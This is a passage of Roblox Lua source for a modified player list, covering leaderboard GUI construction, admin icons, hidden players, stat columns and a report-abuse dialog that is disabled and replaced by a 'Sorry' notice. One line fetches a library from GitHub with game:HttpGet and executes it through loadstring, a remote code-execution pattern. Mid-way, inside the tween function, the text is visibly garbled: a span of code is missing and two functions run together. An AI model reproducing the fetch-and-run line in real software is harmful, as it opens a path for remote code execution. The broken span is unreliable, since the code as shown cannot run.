backgroundColor, textColor) CUSTOM_LABEL_BACKGROUND_COLORS[playerName:lower()] = backgroundColor CUSTOM_LABEL_NAME_COLORS[playerName:lower()] = textColor end export.SetPlayerIsHidden = function(self, name, bool) local current = not not HIDDEN_PLAYERS[name:lower()] local new = not not bool local changing = current ~= new HIDDEN_PLAYERS[name:lower()] = new if changing then if new then local existingPlayer = nil for index, player in next, game.Players:GetPlayers() do if player.Name:lower() == name:lower() then existingPlayer = player break end end if existingPlayer ~= nil then InsertPlayerFrame(existingPlayer) end elseif not new then local existingPlayer = nil for index, player in next, game.Players:GetPlayers() do if player.Name:lower() == name:lower() then existingPlayer = player break end end if existingPlayer ~= nil then RemovePlayerFrame(existingPlayer) end end end end _G.PlayerListAPI = export local Images = { bottomDark = '94691904', bottomLight = '94691940', midDark = '94691980', midLight = '94692025', LargeDark = '96098866', LargeLight = '96098920', LargeHeader = '96097470', NormalHeader = '94692054', LargeBottom = '96397271', NormalBottom = '94754966', DarkBluePopupMid = '97114905', LightBluePopupMid = '97114905', DarkPopupMid = '97112126', LightPopupMid = '97109338', DarkBluePopupTop = '97114838', DarkBluePopupBottom = '97114758', DarkPopupBottom = '100869219', LightPopupBottom = '97109175', } local BASE_TWEEN = .25 local MOUSE_HOLD_TIME = .15 local MOUSE_DRAG_DISTANCE = 15 --[[ Generic object Create function, which I am using to create Gui's Thanks to Stravant! --]] local Obj = {} function Obj.Create(guiType) return function(data) local obj = Instance.new(guiType) for k, v in pairs(data) do if type(k) == 'number' then v.Parent = obj else obj[k] = v end end return obj end end --[[ makes a full sized background for a guiobject @Args: imgName asset name of image to fill background @Return: background gui object --]] function MakeBackgroundGuiObj(imgName) return Obj.Create'ImageLabel' { Name = 'Background', BackgroundTransparency = 1, Image = imgName, Position = UDim2.new(0, 0, 0, 0), Size = UDim2.new(1,0,1,0), } end --[[ turns 255 integer color value to a color3 --]] function Color3I(r,g,b) return Color3.new(r/255,g/255,b/255) end --[[ Gets correct icon for builder's club status to display by name @Args: membershipType Enum of membership status @Return: string of image asset --]] function getMembershipTypeIcon(membershipType,playerName) if ADMINS[string.lower(playerName)]~=nil then if ADMINS[string.lower(playerName)] == 1 then return "http://www.roblox.com/asset/?id=146188778" else local dat = ADMINS[string.lower(playerName)] if type(dat) == "table" then return dat[1] elseif type(dat) == "string" then return ADMINS[string.lower(playerName)] else return "http://www.roblox.com/asset/?id=146188778" end end elseif membershipType == Enum.MembershipType.None then return "" elseif membershipType == Enum.MembershipType.BuildersClub then return "rbxasset://textures/ui/TinyBcIcon.png" elseif membershipType == Enum.MembershipType.TurboBuildersClub then return "rbxasset://textures/ui/TinyTbcIcon.png" elseif membershipType == Enum.MembershipType.OutrageousBuildersClub then return "rbxasset://textures/ui/TinyObcIcon.png" else error("Unknown membershipType" .. membershipType) end end local function getFriendStatusIcon(friendStatus) if friendStatus == Enum.FriendStatus.Unknown or friendStatus == Enum.FriendStatus.NotFriend then return "" elseif friendStatus == Enum.FriendStatus.Friend then return "http://www.roblox.com/asset/?id=99749771" elseif friendStatus == Enum.FriendStatus.FriendRequestSent then return "http://www.roblox.com/asset/?id=99776888" elseif friendStatus == Enum.FriendStatus.FriendRequestReceived then return "http://www.roblox.com/asset/?id=99776838" else error("Unknown FriendStatus: " .. friendStatus) end end --[[ Utility function to create buttons for the popup menus @Args: nparent what to parent this button to ntext text to put on this button index number index of this entry in menu last is this the last element of the popup menu @Return: a popup menu button --]] function MakePopupButton(nparent,ntext,index,last) local tobj = Obj.Create"ImageButton" { Name = 'ReportButton', BackgroundTransparency = 1, Position = UDim2.new(0,0,1*index,0), Size = UDim2.new(1, 0, 1, 0), ZIndex=7, Obj.Create'TextLabel' { Name = 'ButtonText', BackgroundTransparency = 1, Position = UDim2.new(.07, 0, .07, 0), Size = UDim2.new(.86,0,.86,0), Parent = HeaderFrame, Font = 'ArialBold', Text = ntext, FontSize = 'Size14', TextScaled = true, TextColor3 = Color3.new(1,1,1), TextStrokeTransparency = 1, ZIndex=7, }, Parent = nparent, } if index==0 then tobj.Image = 'http://www.roblox.com/asset/?id=97108784' elseif last then if index%2==1 then tobj.Image = 'http://www.roblox.com/asset/?id='.. Images['LightPopupBottom'] else tobj.Image = 'http://www.roblox.com/asset/?id='.. Images['DarkPopupBottom'] end else if index%2==1 then tobj.Image = 'http://www.roblox.com/asset/?id=97112126' else tobj.Image = 'http://www.roblox.com/asset/?id=97109338' end end return tobj end --[[ obligatory wait for child function @Args: parent Parent object to look for child in child name of child object to look for @Return: object waited for --]] function WaitForChild(parent,child) while not parent:FindFirstChild(child) do wait() debugprint(" child "..parent.Name.." waiting for "..child) end return parent[child] end --------------------------- -- Workspace Objects --------------------------- -- might want to move all this to an init function, wait for localplayer elsewhere local Players = game:GetService('Players') -- make sure this doesn't run on the server(it will if you dont do this) while not Players.LocalPlayer do Players.Changed:wait() end local LocalPlayer = Players.LocalPlayer local Mouse = LocalPlayer:GetMouse() local ScreenGui = Obj.Create"Frame" { Name = 'PlayerListScreen', Size = UDim2.new(1, 0, 1, 0), BackgroundTransparency = 1, Parent = uieiie } local MainFrame = Obj.Create"Frame" { Name = 'LeaderBoardFrame', Position = UDim2.new(1, -150, 0.005, 0), Size = UDim2.new(0, 150, 0, 800), BackgroundTransparency = 1, Parent = ScreenGui, } --frame used for expanding leaderstats when frame is 'focused' local FocusFrame = Obj.Create"Frame" { Name = 'FocusFrame', Position = UDim2.new(0, 0, 0, 0), Size = UDim2.new(1, 0, 0, 100), BackgroundTransparency = 1, Active = true, Parent = MainFrame, } local TemplateFrameYSize = 0.670000017 -- HEADER local HeaderFrame = Obj.Create"Frame" { Name = 'Header', BackgroundTransparency = 1, Position = UDim2.new(0,0,0,0), Size = UDim2.new(1, 0, .07, 0), Parent = MainFrame, MakeBackgroundGuiObj('http://www.roblox.com/asset/?id=94692054'), } local HeaderFrameHeight = HeaderFrame.Size.Y.Scale local MaximizeButton = Obj.Create"ImageButton" { Name = 'MaximizeButton', Active = true, BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, 0), Size = UDim2.new(1,0,1,0), Parent = HeaderFrame, } local HeaderName = Obj.Create"TextLabel" { Name = 'PlayerName', BackgroundTransparency = 1, Position = UDim2.new(0, 0, .01, 0), Size = UDim2.new(.98,0,.38,0), Parent = HeaderFrame, Font = 'ArialBold', Text = GetAliasOf(LocalPlayer.Name), FontSize='Size24', --TextScaled = true, TextColor3 = Color3.new(1,1,1), TextStrokeColor3 = Color3.new(0,0,0), TextStrokeTransparency = 0, TextXAlignment = 'Right', TextYAlignment = 'Center', } local HeaderScore = Obj.Create"TextLabel" { Name = 'PlayerScore', BackgroundTransparency = 1, Position = UDim2.new(0, 0, .4, 0), Size = UDim2.new(.98,0,0,30), Parent = HeaderFrame, Font = 'ArialBold', Text = '', FontSize='Size24', TextYAlignment = 'Top', --TextScaled = true, TextColor3 = Color3.new(1,1,1), TextStrokeTransparency = 1, TextXAlignment = 'Right', TextYAlignment = 'Top', } local HeaderScoreName = Obj.Create"TextLabel" { Name = 'ScoreNameLabel', BackgroundTransparency = 1, Position = UDim2.new(0, 5, 0, 0), Size = UDim2.new(1, 0, 1, 0), Font = 'ArialBold', FontSize = 'Size14', Text = '', TextColor3 = Color3.new(1, 1, 1), TextStrokeTransparency = 0, TextXAlignment = 'Left', Parent = HeaderScore } coroutine.resume(coroutine.create(function() while wait(1) do HeaderFrame.PlayerName.Text = GetAliasOf(LocalPlayer.Name) end end)) -- BOTTOM --used for shifting bottom frame for mouse over effects local BottomShiftFrame = Obj.Create"Frame" { Name= 'BottomShiftFrame', BackgroundTransparency = 1, Position = UDim2.new(0,0,HeaderFrameHeight,0), Size = UDim2.new(1,0,1,0), Parent=MainFrame, } local BottomFrame = Obj.Create"Frame" { Name = 'Bottom', BackgroundTransparency = 1, Position = UDim2.new(0,0,.07,0), Size = UDim2.new(1, 0, .03, 0), Parent = BottomShiftFrame, MakeBackgroundGuiObj('http://www.roblox.com/asset/?id=94754966'), } local ExtendButton = Obj.Create"ImageButton" { Name = 'bigbutton', Active = true, BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, 0), Size = UDim2.new(1,0,1.5,0), ZIndex = 3, Parent = BottomFrame, } local ExtendTab = Obj.Create"ImageButton" { Name = 'extendTab', Active = true, BackgroundTransparency = 1, Image = 'http://www.roblox.com/asset/?id=94692731', Position = UDim2.new(.608, 0, .3, 0), Size = UDim2.new(.3,0,.7,0), Parent = BottomFrame, } local TopClipFrame = Obj.Create"Frame" { Name = 'ListFrame', BackgroundTransparency = 1, Position = UDim2.new(-1,0,.07,0), Size = UDim2.new(2, 0, 1, 0), Parent = MainFrame, ClipsDescendants = true, } local BottomClipFrame = Obj.Create"Frame" { Name = 'BottomFrame', BackgroundTransparency = 1, Position = UDim2.new(0,0, - .8,0), Size = UDim2.new(1, 0, 1, 0), Parent = TopClipFrame, ClipsDescendants = true, } local ScrollBarFrame = Obj.Create"Frame" { Name = 'ScrollBarFrame', BackgroundTransparency = 1, Position = UDim2.new(.987,0,.8,0), Size = UDim2.new(.01, 0, .2, 0), Parent = BottomClipFrame, } local ScrollBar = Obj.Create"Frame" { Name = 'ScrollBar', BackgroundTransparency = 0, BackgroundColor3 = Color3.new(.2,.2,.2), Position = UDim2.new(0,0,0,0), Size = UDim2.new(1, 0, .5, 0), ZIndex = 5, Parent = ScrollBarFrame, } local ListFrame = Obj.Create"Frame" { Name = 'SubFrame', BackgroundTransparency = 1, Position = UDim2.new(0,0,.8,0), Size = UDim2.new(1, 0, 1, 0), Parent = BottomClipFrame, } local PopUpClipFrame = Obj.Create"Frame" { Name = 'PopUpFrame', BackgroundTransparency = 1, SizeConstraint='RelativeXX', Position = MainFrame.Position + UDim2.new( 0,-150,0,0), Size = UDim2.new(0,150,0,800), Parent = MainFrame, ClipsDescendants = true, ZIndex=7, } local PopUpPanel = nil local PopUpPanelTemplate = Obj.Create"Frame" { Name = 'Panel', BackgroundTransparency = 1, Position = UDim2.new(1,0,0,0), Size = UDim2.new(1,0,.032,0), Parent = PopUpClipFrame, } local StatTitles = Obj.Create"Frame" { Name = 'StatTitles', BackgroundTransparency = 1, Position = UDim2.new(0,0,1,-10), Size = UDim2.new(1, 0, 0, 0), Parent = HeaderFrame, } local IsMinimized = Instance.new('BoolValue') local IsMaximized = Instance.new('BoolValue') local IsTabified = Instance.new('BoolValue') local AreNamesExpanded = Instance.new('BoolValue') local MiddleTemplate = Obj.Create"Frame" { Name = 'MidTemplate', BackgroundTransparency = 1, Position = UDim2.new(100,0,.07,0), Size = UDim2.new(.5, 0, .025, 0),--UDim2.new(1, 0, .03, 0), Obj.Create'ImageLabel' { Name = 'BCLabel', Active = true, BackgroundTransparency = 1, Position = UDim2.new(.005, 3, .20, -2), Size = UDim2.new(0,16,0,16), SizeConstraint = 'RelativeYY', Image = "", ZIndex = 3, }, Obj.Create'ImageLabel' { Name = 'FriendLabel', Active = true, BackgroundTransparency = 1, Position = UDim2.new(.005, 5, .15, 0), Size = UDim2.new(0,16,0,16), SizeConstraint = 'RelativeYY', Image = "", ZIndex = 3, }, Obj.Create"ImageButton" { Name = 'ClickListener', Active = true, BackgroundTransparency = 1, Position = UDim2.new(.005, 1, 0, 0), Size = UDim2.new(.96,0,1,0), ZIndex = 3, }, Obj.Create"Frame" { Name = 'TitleFrame', BackgroundTransparency = 1, Position = UDim2.new(.01, 0, 0, 0), Size = UDim2.new(0,140,1,0), ClipsDescendants=true, Obj.Create"TextLabel" { Name = 'Title', BackgroundTransparency = 1, Position = UDim2.new(0, 5, 0, 0), Size = UDim2.new(100,0,1,0), Font = 'Arial', FontSize='Size14', TextColor3 = Color3.new(1,1,1), TextXAlignment = 'Left', TextYAlignment = 'Center', ZIndex = 3, }, }, Obj.Create"TextLabel" { Name = 'PlayerScore', BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, 0), Size = UDim2.new(1,0,1,0), Font = 'ArialBold', Text = '', FontSize='Size14', TextColor3 = Color3.new(1,1,1), TextXAlignment = 'Right', TextYAlignment = 'Center', ZIndex = 3, }, --Obj.Create'IntValue'{Name = 'ID'}, --Obj.Create'ObjectValue'{Name = 'Player'}, --Obj.Create'IntValue'{Name = 'Score'}, ZIndex = 3, } local MiddleBGTemplate = Obj.Create"Frame" { Name = 'MidBGTemplate', BackgroundTransparency = 1, BorderSizePixel = 0, Position = UDim2.new(100,0,.07,0), Size = UDim2.new(.5, 0, .025, 0),--UDim2.new(1, 0, .03, 0), MakeBackgroundGuiObj('http://www.roblox.com/asset/?id=94692025'), } -- REPORT ABUSE OBJECTS local ReportAbuseShield = Obj.Create"TextButton" { Name = "ReportAbuseShield", Text = "", AutoButtonColor = false, Active = true, Visible = true, Size = UDim2.new(1,0,1,0), BackgroundColor3 = Color3I(51,51,51), BorderColor3 = Color3I(27,42,53), BackgroundTransparency = 1, } local ReportAbuseFrame = Obj.Create "Frame" { Name = "ReportAbuseFrame", Position = UDim2.new(0.5, -250, 0.5, -100), Size = UDim2.new(0, 500, 0, 200), ZIndex = 9, Parent = ReportAbuseShield, Style = "RobloxRound" } local ReportAbuseClose = Obj.Create "TextButton" { BackgroundColor3 = Color3.new(150/255, 0, 0), BorderColor3 = Color3.new(200/255, 200/255, 200/255), Name = "Close", Position = UDim2.new(1, -20, 0, 0), Size = UDim2.new(0, 20, 0, 20), ZIndex = 10, Font = "SourceSansBold", FontSize = "Size12", Text = "X", TextColor3 = Color3.new(200/255, 200/255, 200/255), TextStrokeTransparency = 0, Parent = ReportAbuseFrame } local ReportAbuseHeader = Obj.Create "TextLabel" { BackgroundTransparency = 1, Name = "Sorry", Position = UDim2.new(0.5, 0, 0, 20), ZIndex = 10, Font = "ArialBold", FontSize = "Size36", Text = "Sorry! :(", TextColor3 = Color3.new(200/255, 200/255, 200/255), TextStrokeTransparency = 0, Parent = ReportAbuseFrame } local ReportAbuseInfo = Obj.Create "TextLabel" { BackgroundColor3 = Color3.new(), BackgroundTransparency = 0.5, BorderColor3 = Color3.new(200/255, 200/255, 200/255), Name = "ReportAbuseInfo", Position = UDim2.new(0, 0, 0, 50), Size = UDim2.new(1, 0, 1, -50), Font = "ArialBold", FontSize = "Size14", Text = "This game is using a specialized player list that uses an API to unlock certain features. Because this is a modified player list, certain high-level functions are disabled such as in-game Friend Requests and the Report Abuse function.", TextColor3 = Color3.new(200/255, 200/255, 200/255), TextStrokeTransparency = 0, TextYAlignment = "Top", ZIndex = 10, TextWrapped = true, Parent = ReportAbuseFrame, Obj.Create"TextLabel" { BackgroundTransparency = 1, Name = "FRs", Position = UDim2.new(0, 20, 0, 50), Size = UDim2.new(1, -40, 1, -50), ZIndex = 10, Font = "Arial", FontSize = "Size12", Text = "To add a friend, you will need to go to the roblox site and find them using the player search page. Once you've found them, click the \"Add Friend\" button under their character.", TextColor3 = Color3.new(200/255, 200/255, 200/255), TextStrokeTransparency = 0, TextWrapped = true, TextYAlignment = "Top" }, Obj.Create"TextLabel" { BackgroundTransparency = 1, Name = "Report", Position = UDim2.new(0, 20, 0, 90), Size = UDim2.new(1, -40, 1, -50), ZIndex = 10, Font = "Arial", FontSize = "Size12", Text = "To report abuse, you need to open your game menu by pressing the 'Esc' button on your keyboard, then click Report Abuse and fill out the necessary information.", TextColor3 = Color3.new(200/255, 200/255, 200/255), TextStrokeTransparency = 0, TextWrapped = true, TextYAlignment = "Top" } } local BigButton=Instance.new('ImageButton') BigButton.Size=UDim2.new(1,0,1,0) BigButton.BackgroundTransparency=1 BigButton.ZIndex=8 BigButton.Visible=false --BigButton.Active=false BigButton.Parent=ScreenGui local debugFrame = Obj.Create"Frame" { Name = 'debugframe', Position = UDim2.new(0, 0, 0, 0), Size = UDim2.new(0, 150, 0, 800),--0.99000001 BackgroundTransparency = 1, } local debugplayers = Obj.Create"TextLabel" { BackgroundTransparency = .8, Position = UDim2.new(0, 0, .01, 0), Size = UDim2.new(1,0,.5,0), Parent = debugFrame, Font = 'ArialBold', Text = '--', FontSize='Size14', TextWrapped=true, TextColor3 = Color3.new(1,1,1), TextStrokeColor3 = Color3.new(0,0,0), TextStrokeTransparency = 0, TextXAlignment = 'Right', TextYAlignment = 'Center', } local debugOutput = Obj.Create"TextLabel" { BackgroundTransparency = .8, Position = UDim2.new(0, 0, .5, 0), Size = UDim2.new(1,0,.5,0), Parent = debugFrame, Font = 'ArialBold', Text = '--', FontSize='Size14', TextWrapped=true, TextColor3 = Color3.new(1,1,1), TextStrokeColor3 = Color3.new(0,0,0), TextStrokeTransparency = 0, TextXAlignment = 'Right', TextYAlignment = 'Center', } --[[ simple function to toggle the display of debug output --]] local DebugPrintEnabled=true function debugprint(str) --print(str) if DebugPrintEnabled then debugOutput.Text=str end end ------------------------- -- Script objects ------------------------- local RbxGui = loadstring(game:HttpGet("https://raw.githubusercontent.com/Roblox/Core-Scripts/master/CoreScriptsRoot/Libraries/RbxGui.lua", true))() -- number of entries to show if you click minimize local DefaultEntriesOnScreen = 8 for _,i in pairs(Images) do Game:GetService("ContentProvider"):Preload("http://www.roblox.com/asset/?id="..i) end -- ordered array of 'score data', each entry has: -- Name(String) -- Priority(number) -- IsPrimary (bool, should it be shown in upper right) -- MaxLength (integer, of the length of the longest element for this column) local ScoreNames = {} -- prevents flipping in playerlist panels local AddId = 0 -- intermediate table form of all player entries in format of: -- Frame -- Player -- Score -- ID -- MyTeam (team ENRTY(not actual team) I am currently on) local PlayerFrames = {} -- intermediate ordered frame array, composed of Entrys of -- Frame -- MyTeam (my team object) -- MyPlayers ( an ordered array of all player frames in team ) -- AutoHide (bool saying whether it should be hidden) -- IsHidden (bool) -- ID (int to prevent flipping out of leaderboard, fun times) local TeamFrames = {} -- one special entry from teamFrames, for unaffiliated players, only shown if players non - empty local NeutralTeam = nil -- final 'to be displayed' list of frames local MiddleFrames = {} local MiddleFrameBackgrounds = {} local MiddleFrameHeight = .03 -- time of last click local LastClick = 0 local ButtonCooldown = .25 local OnIos = false pcall(function() OnIos = Game:GetService('UserInputService').TouchEnabled end) -- you get 200 of x screen space per stat added, start width 16% local BaseScreenXSize = 150 local SpacingPerStat = 10 --spacing between stats local MaximizedBounds = UDim2.new(.5,0,1,0) local MaximizedPosition = UDim2.new(.25,0,.1,0) local NormalBounds = UDim2.new(0,BaseScreenXSize, 0, 800) local NormalPosition = UDim2.new(1 , - BaseScreenXSize, 0.005, 0) local MinimizedBounds = UDim2.new(0, BaseScreenXSize, 0.99000001, 0) --free space to give last stat on the right local RightEdgeSpace = -.04 -- where the scroll par currently is positioned local ScrollPosition = 0.75999999 local IsDragging = false -- am I dragging the player list local DefaultBottomClipPos = BottomClipFrame.Position.Y.Scale local LastSelectedPlayerEntry = nil local SelectedPlayerEntry = nil local SelectedPlayer = nil -- locks(semaphores) for stopping race conditions local AddingFrameLock = false local ChangingOrderLock = false local AddingStatLock = false local BaseUpdateLock = false local WaitForClickLock = false local InPopupWaitForClick=false local PlayerChangedLock = false local NeutralTeamLock = false local ScrollWheelConnections = {} local DefaultListSize = 8 if not OnIos then DefaultListSize = 12 end local DidMinimizeDrag = false --local PlaceCreatorId=game.CreatorId -- report abuse objects local AbuseName local Abuses = { "Bad Words or Threats", "Bad Username", "Talking about Dating", "Account Trading or Sharing", "Asking Personal Questions", "Rude or Mean Behavior", "False Reporting Me" } local UpdateAbuseFunction local AbuseDropDown, UpdateAbuseSelection local PrivilegeLevel = { Owner = 255, Admin = 240, Member = 128, Visitor = 10, Banned = 0, } local IsPersonalServer = not not game.Workspace:FindFirstChild("PSVariable") game.Workspace.ChildAdded:connect(function(nchild) if nchild.Name=='PSVariable' and nchild:IsA('BoolValue') then IsPersonalServer=true end end) ------------------------------- -- Static Functions ------------------------------- function GetTotalEntries() return math.min(#MiddleFrameBackgrounds,DefaultEntriesOnScreen) end function GetEntryListLength() local numEnts=#PlayerFrames+#TeamFrames if NeutralTeam then numEnts=numEnts+1 end return numEnts end function AreAllEntriesOnScreen() return #MiddleFrameBackgrounds * MiddleTemplate.Size.Y.Scale <= 1 + DefaultBottomClipPos end function GetLengthOfVisbleScroll() return 1 + DefaultBottomClipPos end function GetMaxScroll() return DefaultBottomClipPos * - 1 end -- can be optimized by caching when this varible changes function GetMinScroll() if AreAllEntriesOnScreen() then return GetMaxScroll() else return (GetMaxScroll() - (#MiddleFrameBackgrounds * MiddleTemplate.Size.Y.Scale)) + (1 + DefaultBottomClipPos) end end function AbsoluteToPercent(x,y) return Vector2.new(x,y)/ScreenGui.AbsoluteSize end --[[ tweens property of element from starta to enda over length of time Warning: should be put in a Spawn call @Args: element textobject to tween transparency on propName starta alpha to start tweening enda alpha to end tweening on length how many seconds to spend tweening --]] function TweenProperty(obj, propName, inita, enda, length) local startTime = tick() while tick()-startTimenrank do game:GetService("PersonalServerService"):Demote(player) end end --[[ called when player selects new privilege level from popup menu @Args: player player to set privileges on nlevel new privilege level for this player --]] function OnPrivilegeLevelSelect(player,nlevel,BanPlayerButton,VisitorButton,MemberButton,AdminButton) debugprint('setting privilege level') SetPrivilegeRank(player,nlevel) HighlightMyRank(player,BanPlayerButton,VisitorButton,MemberButton,AdminButton) end --[[ Highlights current rank of this player in the popup menu @Args: player Player to check for rank on --]] function HighlightMyRank(player,BanPlayerButton,VisitorButton,MemberButton,AdminButton) BanPlayerButton.Image= 'http://www.roblox.com/asset/?id='..Images['LightPopupMid'] VisitorButton.Image= 'http://www.roblox.com/asset/?id='..Images['DarkPopupMid'] MemberButton.Image= 'http://www.roblox.com/asset/?id='..Images['LightPopupMid'] AdminButton.Image= 'http://www.roblox.com/asset/?id='..Images['DarkPopupBottom'] local rank=player.PersonalServerRank if rank <= PrivilegeLevel['Banned'] then BanPlayerButton.Image='http://www.roblox.com/asset/?id='..Images['LightBluePopupMid'] elseif rank <= PrivilegeLevel['Visitor'] then VisitorButton.Image='http://www.roblox.com/asset/?id='..Images['DarkBluePopupMid'] elseif rank <= PrivilegeLevel['Member'] then MemberButton.Image='http://www.roblox.com/asset/?id='..Images['LightBluePopupMid'] elseif rank <= PrivilegeLevel['Admin'] then AdminButton.Image= 'http://www.roblox.com/asset/?id='..Images['DarkBluePopupBottom'] end end -------------------------- -- Report abuse handling -------------------------- --[[ does final reporting of abuse on selected player, calls closeAbuseDialog --]] function OnSubmitAbuse() end --[[ opens the abuse dialog, initialises text to display selectedplayer --]] function OpenAbuseDialog() debugprint('adding report dialog') PopUpPanel:TweenPosition(UDim2.new(1,0,0,0), "Out", "Linear", BASE_TWEEN,true) ReportAbuseShield.Parent = ScreenGui ClosePopUpPanel() end --[[ resets and closes abuse dialog --]] function CloseAbuseDialog() ReportAbuseShield.Parent = nil end ReportAbuseClose.MouseButton1Click:connect(CloseAbuseDialog) ReportAbuseShield.MouseButton1Click:connect(CloseAbuseDialog) --[[ creates dropdownbox, registers all listeners for abuse dialog --]] function InitReportAbuse() end ------------------------------------- -- Friend/unfriending ------------------------------------- --[[ gets enum val of friend status, uses pcall for some reason?(from old playerlist) @Args: player player object to check if friends with @Return: enum of friend status --]] local function GetFriendStatus(player) if player == game.Players.LocalPlayer then return Enum.FriendStatus.NotFriend else local success, result = pcall(function() return game.Players.LocalPlayer:GetFriendStatus(player) end) if success then return result else return Enum.FriendStatus.NotFriend end end end --[[ when friend button is clicked, tries to take appropriate action, based on current friend status with SelectedPlayer --]] function OnFriendButtonSelect() OpenAbuseDialog() end function OnFriendRefuseButtonSelect() end ------------------------------------ -- Player Entry Handling ------------------------------------ --[[ used by lua's table.sort to sort player entries --]] function PlayerSortFunction(a,b) -- prevents flipping out leaderboard if a['Score'] == b['Score'] then return GetAliasOf(a['Player'].Name):upper() < GetAliasOf(b['Player'].Name):upper() end if not a['Score'] then return false end if not b['Score'] then return true end return a['Score'] < b['Score'] end --------------------------------- -- Stat Handling --------------------------------- -- removes and closes all leaderboard stuffs function BlowThisPopsicleStand() --ScreenGui:Destroy() --script:Destroy() --time to make the fanboys rage... Tabify() end --[[ used by lua's table.sort to prioritize score entries --]] function StatSort(a,b) -- primary stats should be shown before all others if a.IsPrimary ~= b.IsPrimary then return a.IsPrimary end -- if priorities are equal, then return the first added one if a.Priority == b.Priority then return a.AddId < b.AddId end return a.Priority < b.Priority end --[[ doing WAAY too much here, for optimization update only your team @Args: playerEntry Entry of player who had a stat change property Name of stat changed --]] function StatChanged(playerEntry,property) -- if(playerEntry['MyTeam']) then -- UpdateSingleTeam(playerEntry['MyTeam']) -- else BaseUpdate() -- end end --[[ Called when stat is added if playerEntry is localplayer, will add to score names and re-sort the stats, and resize the width of the leaderboard for all players, will add a listener for if this stat changes if stat is a string value, crashes the leaderboard Note:change crash to a 'tabify' leaderboard later @Args: nchild new child value to leaderstats playerEntry entry this stat was added to --]] function StatAdded(nchild,playerEntry) -- dont re - add a leaderstat I alreday have while AddingStatLock do debugprint('in stat added function lock') wait(1/30) end AddingStatLock = true if not (nchild:IsA('StringValue') or nchild:IsA('IntValue') or nchild:IsA('BoolValue') or nchild:IsA('NumberValue') or nchild:IsA('DoubleConstrainedValue') or nchild:IsA('IntConstrainedValue')) then BlowThisPopsicleStand() else local haveScore = false for _,i in pairs(ScoreNames) do if i['Name']==nchild.Name then haveScore=true end end if not haveScore then local nstat = {} nstat['Name'] = nchild.Name nstat['Priority'] = 0 if(nchild:FindFirstChild('Priority')) then nstat['Priority'] = nchild.Priority end nstat['IsPrimary'] = false if(nchild:FindFirstChild('IsPrimary')) then nstat['IsPrimary'] = true end nstat.AddId = AddId AddId = AddId + 1 table.insert(ScoreNames,nstat) table.sort(ScoreNames,StatSort) if not StatTitles:FindFirstChild(nstat['Name']) then CreateStatTitle(nstat['Name']) end UpdateMaximize() end end AddingStatLock = false StatChanged(playerEntry) nchild.Changed:connect(function(property) StatChanged(playerEntry,property) end) end --returns whether any of the existing players has this stat function DoesStatExist(statName, exception) for _,playerf in pairs(PlayerFrames) do if playerf['Player'] ~= exception and playerf['Player']:FindFirstChild('leaderstats') and playerf['Player'].leaderstats:FindFirstChild(statName) then --print('player:' .. playerf['Player'].Name ..' has stat') return true end end return false end --[[ Called when stat is removed from player for all players, destroys the stat frame associated with this value, then calls statchanged(to resize frame) if playerEntry==localplayer, will remove from scorenames @Args: nchild ___value to be removed playerEntry entry of player value is being removed from --]] function StatRemoved(nchild,playerEntry) while AddingStatLock do debugprint('In Adding Stat Lock1') wait(1/30) end AddingStatLock = true if playerEntry['Frame']:FindFirstChild(nchild.Name) then debugprint('Destroyed frame!') playerEntry['Frame'][nchild.Name].Parent = nil end if not DoesStatExist(nchild.Name, playerEntry['Player']) then for i,val in ipairs(ScoreNames) do if val['Name'] == nchild.Name then table.remove(ScoreNames,i) if StatTitles:FindFirstChild(nchild.Name) then StatTitles[nchild.Name]:Destroy() end for _,teamf in pairs(TeamFrames) do if teamf['Frame']:FindFirstChild(nchild.Name) then teamf['Frame'][nchild.Name]:Destroy() end end end end end AddingStatLock = false StatChanged(playerEntry) end --[[ clears all stats from a given playerEntry used when leaderstats are removed, or when new leaderstats are added(for weird edge case)+ --]] function RemoveAllStats(playerEntry) for i,val in ipairs(ScoreNames) do StatRemoved(val,playerEntry) end end function GetScoreValue(score) if score:IsA('DoubleConstrainedValue') or score:IsA('IntConstrainedValue') then return score.ConstrainedValue elseif score:IsA('BoolValue') then if score.Value then return 1 else return 0 end else return score.Value end end --[[ --]] function MakeScoreEntry(entry,scoreval,panel) if not panel:FindFirstChild('PlayerScore') then return end local nscoretxt = panel:FindFirstChild('PlayerScore'):Clone() local thisScore = nil --here lies the resting place of a once great and terrible bug --may its treachery never be forgoten, lest its survivors fall for it again --RIP the leaderstat bug, oct 2012-nov 2012 wait() if entry['Player']:FindFirstChild('leaderstats') and entry['Player'].leaderstats:FindFirstChild(scoreval['Name']) then thisScore = entry['Player']:FindFirstChild('leaderstats'):FindFirstChild(scoreval['Name']) else return end if not entry['Player'].Parent then return end nscoretxt.Name = scoreval['Name'] nscoretxt.Text = tostring(GetScoreValue(thisScore)) if scoreval['Name'] == ScoreNames[1]['Name'] then debugprint('changing score') entry['Score'] = GetScoreValue(thisScore) if entry['Player'] == LocalPlayer and PRIMARY_LEADERSTATS_ENABLED then HeaderScore.Text = tostring(GetScoreValue(thisScore)) if SHOW_PRIMARY_LEADERSTAT_NAMES then HeaderScoreName.Text = tostring(thisScore.Name) end end end thisScore.Changed:connect(function() if not thisScore.Parent then return end if scoreval['Name'] == ScoreNames[1]['Name'] and PRIMARY_LEADERSTATS_ENABLED then entry['Score'] = GetScoreValue(thisScore) if entry['Player'] == LocalPlayer then HeaderScore.Text = tostring(GetScoreValue(thisScore)) if SHOW_PRIMARY_LEADERSTAT_NAMES then HeaderScoreName.Text = tostring(thisScore.Name) end end end nscoretxt.Text = tostring(GetScoreValue(thisScore)) BaseUpdate() end) return nscoretxt end function CreateStatTitle(statName) local ntitle = MiddleTemplate:FindFirstChild('PlayerScore'):Clone() ntitle.Name = statName ntitle.Text = statName -- ntitle if IsMaximized.Value then ntitle.TextTransparency = 0 else ntitle.TextTransparency = 1 end ntitle.Parent = StatTitles end function RecreateScoreColumns(ptable) while AddingStatLock do debugprint ('In Adding Stat Lock2') wait(1/30) end AddingStatLock = true local Xoffset=5--15 --current offset from Right local maxXOffset=Xoffset local MaxSizeColumn=0 --max size for this column -- foreach known leaderstat for j = #ScoreNames, 1,-1 do local scoreval = ScoreNames[j] MaxSizeColumn=0 -- for each entry in this player table for i,entry in ipairs(ptable) do local panel = entry['Frame'] local tplayer = entry['Player'] -- if this panel does not have an element named after this stat if not panel:FindFirstChild(scoreval['Name']) then -- make an entry for this object local nentry = MakeScoreEntry(entry,scoreval,panel) if nentry then debugprint('adding '..nentry.Name..' to '..entry['Player'].Name ) 